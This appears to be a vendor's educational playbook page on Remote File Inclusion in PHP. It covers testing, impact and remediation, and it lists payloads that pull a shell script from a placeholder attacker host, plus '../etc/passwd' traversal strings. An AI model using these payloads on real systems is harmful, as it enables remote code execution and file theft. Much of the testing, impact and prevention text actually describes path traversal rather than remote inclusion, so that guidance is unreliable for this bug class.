scanrub
Remote File Inclusionmedium prioritynot yet scanned

Remote File Inclusion

2 min read 12 reports analyzed ScanRub Research
Share

Summary

Remote file inclusion is what happens when a language's file-include mechanism, most commonly PHP's include and require, accepts not just a local path but a full remote URL, and fetches and executes whatever it finds there as code. It requires a specific, increasingly uncommon server configuration (PHP's allow_url_include set to on) to work at all, which is why it's less prevalent than local file inclusion today, but where that setting is enabled, the impact is immediate remote code execution: an attacker hosts a small script on their own server, points the vulnerable parameter at it, and the target fetches and runs it directly.

◈ flow diagram
User RequestFile Path Pa…Directory Tr…File System …Sensitive Fi…
◈ chart
Critical
1
High
3
Medium
5
Low
3

Top Affected Components / Targets

  • PHP applications with allow_url_include enabled

Common Attack Vectors

  • Submit attacker-hosted URL as include parameter
  • Use OOB callback to confirm the server fetched the URL

Common Payloads

  • http://attacker.tld/shell.php
  • https://attacker.tld/shell.txt
  • ftp://attacker.tld/shell.php

Detection Strategy

Submit an attacker-controlled URL where a local file path was expected, using a unique out-of-band callback address rather than a static one, so a genuine hit is unambiguous: if the target server actually fetches the URL, the callback confirms it fired specifically in response to this request, rather than being coincidental background traffic.

Tip: Testing tools that run these checks in parallel across every discovered endpoint can cut the time required substantially compared to fully manual testing, as long as they confirm findings with more than one signal to keep the false-positive rate down.

False-Positive Notes

OOB callback required to confirm.

How to Test

Manual Testing Methodology

Here is a systematic approach to identifying Remote File Inclusion vulnerabilities in a target application.

Step 1: Reconnaissance and Surface Mapping

Before testing, map all input vectors that could be affected. Identify parameters, headers, cookies, and request bodies that interact with the vulnerable component. A proxy such as Burp Suite or OWASP ZAP, paired with normal browsing of the target, is usually enough to build this list.

Step 2: Baseline Request

Send a legitimate request and record the normal response: status code, content length, response time, and any identifying tokens. This baseline matters because it's what you'll compare later responses against once payloads are involved.

Step 3: Payload Injection

Inject test payloads into each identified input vector one at a time. Start with benign detection payloads before escalating to anything that could actually trigger the vulnerability. For Remote File Inclusion specifically, submit ../ sequences of increasing depth (../etc/passwd, ../../etc/passwd, and so on) alongside URL-encoded (%2e%2e%2f), double-encoded, and null-byte variants against every file-path parameter, and try both forward- and back-slash separators since one is sometimes filtered while the other isn't.

Step 4: Response Analysis

Compare the response against your baseline, looking specifically for the actual contents of a known system file (/etc/passwd, win.ini) appearing in the response, or a distinct error message (a different exception type or path echoed back) between a valid relative path and a traversal attempt.

Step 5: Confirmation

Once a potential vulnerability is detected, confirm it with at least a few independent test cases to rule out coincidence. Document the exact request and response as proof. For Remote File Inclusion, a confirmed finding typically means showing that attacker-controlled input changes the application's behavior in a way that matters for security, not just that a payload was reflected somewhere harmless.

Real-World Impact

Real-World Impact

Path traversal lets attackers read, and sometimes write, files outside the directory an application intended to expose, usually by slipping ../ sequences into a file path parameter. Successful exploitation can expose source code, configuration files containing database credentials and API keys, and system files like /etc/passwd. In write scenarios, it can lead directly to code execution through a planted web shell.

In containerized environments, path traversal can escape an application's own file namespace to read secrets, environment variables, and mounted volumes belonging to other services entirely. In cloud deployments, it can expose provider-specific metadata files too.

This bug class becomes especially dangerous when combined with file inclusion. Reading a file is an information disclosure on its own, but if that file gets executed, the finding becomes remote code execution.

Prevention & Remediation

Prevention and Secure Coding

Preventing Remote File Inclusion takes a defense-in-depth approach — no single control below is sufficient alone, but together they close off both the primary path and the most common bypasses.

Canonicalize and verify containment. Resolve the requested path to its canonical absolute form and check that it still falls inside an allowlisted base directory before touching the filesystem — check this after resolving symlinks and encoded sequences, not before.

Map to an internal ID, not a raw path. Where feasible, have user input select from a server-side allowlist or database record (an internal file ID) rather than being used as any part of a filesystem path directly.

Reject traversal sequences outright. Reject requests containing ../, .., URL-encoded variants (%2e%2e%2f), and null bytes rather than trying to strip them — stripping is a common source of filter-bypass bugs when done with a single non-recursive replace.

Least-privilege filesystem access. Run the file-serving process under an account with read access to only the directories it legitimately needs, so a traversal that gets past the application-layer check still hits an OS-level permission wall.

Disable directory listing and dangerous parsers. Serve static content through a web server configuration that has autoindexing disabled and doesn't execute uploaded files as scripts.

Frequently Asked Questions

What is Remote File Inclusion?
Remote file inclusion is what happens when a language's file-include mechanism, most commonly PHP's `include` and `require`, accepts not just a local path but a full remote URL, and fetches and executes whatever it finds there as code.
How common is Remote File Inclusion in bug bounty reports?
Scanrub's research corpus for this playbook is built from 12 disclosed HackerOne reports in this category, synthesized for detection and prevention guidance rather than reproduced verbatim.
How do I test for Remote File Inclusion?
Map every input vector, record a baseline response, then inject targeted test payloads one field at a time and compare the response for timing, length, error, or reflection differences from that baseline. The "How to Test" section above walks through the full methodology for this specific vulnerability class.
What is the single most effective fix for Remote File Inclusion?
Resolve every file-path input to its canonical absolute form and verify it stays inside an allowlisted base directory before any filesystem operation.
Weekly security research

New vulnerability playbooks, tool updates, and bug bounty insights - delivered to your inbox. No spam.

Unsubscribe anytime. We respect your inbox.
Press ⌘K to search×